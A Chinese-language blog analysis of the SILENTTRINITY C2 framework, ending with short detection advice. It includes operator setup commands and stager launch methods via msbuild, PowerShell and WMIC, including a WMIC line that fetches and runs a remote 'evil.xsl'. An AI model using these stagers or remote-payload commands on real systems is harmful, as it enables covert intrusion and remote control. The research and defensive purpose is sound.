SILENTTRINITY 利用分析

发布于 2024-09-30 16:49:59 字数 8788 浏览 8 评论 0

0x00 前言

SILENTTRINITY 是由 byt3bl33d3r 开源的一款 C2 工具,通过 C#实现,利用 IronPython 引擎来执行 Python 代码,十分值得研究。这款工具通过 Python 实现 payload,不仅提高了效率,而且利用 IronPython 引擎从内存加载 payload,更为隐蔽。

本文将要站在技术研究的角度,分析 SILENTTRINITY 的原理并进行扩展,最后给出防御检测的建议

地址:https://github.com/byt3bl33d3r/SILENTTRINITY

0x01 简介

本文将要介绍以下内容:

  • SILENTTRINITY 的简单使用
  • SILENTTRINITY 的实现细节
  • C#利用 IronPython 调用 Python 的方法
  • 防御检测的建议

0x02 SILENTTRINITY 的简单使用

操作方法同 meterpreter 相似

1、安装

git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git
cd SILENTTRINITY
python3 -m pip install -r requirements.txt
python3 st.py

2、开启 teamserver

python3 teamserver.py <teamserver_ip> <teamserver_password>

3、连接 teamserver

python3 st.py wss://username:<teamserver_password>@:5000

4、开启监听

listeners
use http
options
start

5、生成 payload

stagers
list
use msbuild
generate http

6、启动方式之一

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml

0x03 SILENTTRINITY 的实现细节

源码的文件结构如下:

  • SILENTTRINITY,核心文件,C#开发,格式为 exe
  • SILENTTRINITY_DLL,内容同上,但格式为 dll
  • Server,控制端,包括多个 Python 实现的 payload

SILENTTRINITY 和 SILENTTRINITY_DLL 功能相同,只是文件格式不同,所以这里以 SILENTTRINITY 为例

1、SILENTTRINITY

实现的功能可参照下图右半部分:

Alt text

注:图片引用自 https://github.com/byt3bl33d3r/SILENTTRINITY

详细说明如下:

1. 启动 IronPython 引擎,释放资源文件并导入 Python 环境

资源文件名:IronPython.StdLib.2.7.9.zip

压缩包内的文件为 Python 的默认模块

如果安装了 IronPython,压缩包的文件同默认安装路径下 C:\Program Files\IronPython 2.7\Lib 中的文件内容保持一致

IronPython 下载地址:https://github.com/IronLanguages/ironpython2/releases/tag/ipy-2.7.9

2. 从 Server 下载 stage.zip

stage.zip 中包含五个文件:

  • IronPython.dll
  • IronPython.Modules.dll
  • Microsoft.Dynamic.dll
  • Microsoft.Scripting.dll
  • Main.py

其中,前四个为 IronPython 引擎的依赖文件,Main.py 为主体程序,用于接收控制命令,加载 payload,回传输出结果

3. 利用 IronPython 调用 Python

后面将会详细介绍

2、Server

作为控制端

modules 文件夹下包含所有支持的 Python 脚本

stagers 文件夹下包含三种启动方式:

  • msbuild
  • powershell
  • wmic

1. msbuild

启动方式:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml

流程:

msbuild.exe -> .xml -> C#

通过 msbuild.exe 加载 msbuild.xml,这里使用了.NET Framework 4.0 中支持了的新功能"Inline Tasks",被包含在元素 UsingTask 中,可用来在 xml 文件中执行 c#代码

msbuild.xml 实现了将加密字符串做 base64 解码,解密出 SILENTTRINITY,最终在内存中加载 (C#实现)

2. powershell

启动方式:执行 powershell 脚本

流程:powershell.exe -> .ps1 -> C#

同样是将加密字符串做 base64 解码,解密出 SILENTTRINITY,最终在内存中加载(Powershell 实现),关键代码如下:

$asm = [Reflection.Assembly]::Load($UncompressedFileBytes)
$type = $asm.GetType("ST")
$main = $type.GetMethod("Main")

表示加载 exe 中 Main 下的 ST 方法

3. wmic

启动方式:

C:\Windows\System32\wbem\WMIC.exe os get /format:"evil.xsl"

或者

C:\Windows\System32\wbem\WMIC.exe os get /format:"https://example.com/evil.xsl"

流程:

wmic.exe -> .xsl -> javascript

通过 wmic.exe 加载 wmic.xsl,wmic.xsl 可以放在本地,也可以放在远程服务器

同样是将加密字符串做 base64 解码,解密出 SILENTTRINITY,最终在内存中加载 (JavaScript 实现)

4. 其他可供利用的方法

SILENTTRINITY 未包括,此处作为扩展,例如:

  • regsvr32.exe,《Code Execution of Regsvr32.exe》
  • rundll32.exe, 《关于利用 rundll32 执行程序的分析》

0x04 C#利用 IronPython 调用 Python 的方法

需要使用 IronPython,参考资料:https://ironpython.net/

本节介绍一些基本用法,有助于进一步扩展 SILENTTRINITY 的功能

1、常用的基本脚本

下载安装 IronPython:https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler

开发工具: VS2015

新建 C#工程,添加引用:

  • IronPyhon
  • Microsoft.Scripting

注:

编译后生成的 exe 在执行时需要以下依赖文件:

  • IronPython.dll
  • IronPython.Modules.dll(有的工程不需要)
  • Microsoft.Dynamic.dll
  • Microsoft.Scripting.dll

1.简单的 hello world 程序,调用 test.py,输出 Hello World

code1:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            engine.ExecuteFile("test.py");

        }
    }
}

test.py:

print("Hello World")

2.向 python 脚本传参数并输出

code2:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();

            var scope = engine.CreateScope();

            scope.SetVariable("argv", "Hello World");

            engine.ExecuteFile("test.py",scope);
        }
    }
}

test.py:

print('%s'%argv)

3.调用 python 脚本的 main 函数

code3:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            var scope = engine.CreateScope();
            engine.ExecuteFile("test.py",scope);

            dynamic main = scope.GetVariable("main");

            main();


        }
    }
}

test.py:

def main():
        print("Hello World")
if __name__ == '__main__':
    main("")

4.将 python 脚本的内容存储在变量中并执行

code4:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string script = "print('%s'%argv)";
            var engine = Python.CreateEngine();
            var scope = engine.CreateScope();
            scope.SetVariable("argv", "Hello World");
            var sourceCode = engine.CreateScriptSourceFromString(script);
            sourceCode.Execute(scope);
        }
    }
}

5.python 脚本支持第三方库

code5:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            engine.SetSearchPaths(new[] { "Lib" });
            engine.ExecuteFile("test.py");
        }
    }
}

找到 IronPython 的安装路径,默认为 C:\Program Files\IronPython 2.7

将其中的 Lib 目录复制到编译生成的 IronPythonTest.exe 的同级目录下

test.py:

import os
os.system("calc.exe")

2、使用 ipyc 将 python 脚本编译成 exe

类似于 py2exe 的功能

源码:https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler

编译好的文件可从 IronPython 的目录中获得

默认安装位置:

C:\Program Files\IronPython 2.7\ipyc.exe

0x05 防御检测

SILENTTRINITY 的启动程序本身不包含恶意的功能,只是从远程服务器下载文件并利用 IronPython 调用 Python,这是一个完全正常的功能

启动方式上利用了 Windows 系统本身自带的程序(例如 msbuild.exe,powershell.exe,wmic.exe,也可以扩展成 regsvr32.exe 或 rundll32.exe),较为隐蔽

但 SILENTTRINITY 需要发起网络连接,传输 stage.zip 和 Python 脚本,所以如果程序调用了 IronPython 并发起了网络连接,极有可能是存在风险的行为

0x06 小结

本文分析了 SILENTTRINITY 的实现细节,提出了一些扩展的思路,介绍了 C#利用 IronPython 调用 Python 的方法,结合 SILENTTRINITY 的特征,给出防御检测的建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

被翻牌

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

xu362930323

文章 0 评论 0

缱倦旧时光

文章 0 评论 0

qq_eXruk9

文章 0 评论 0

遂心如意

文章 0 评论 0

guojiayue1

文章 0 评论 0

愿与i

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文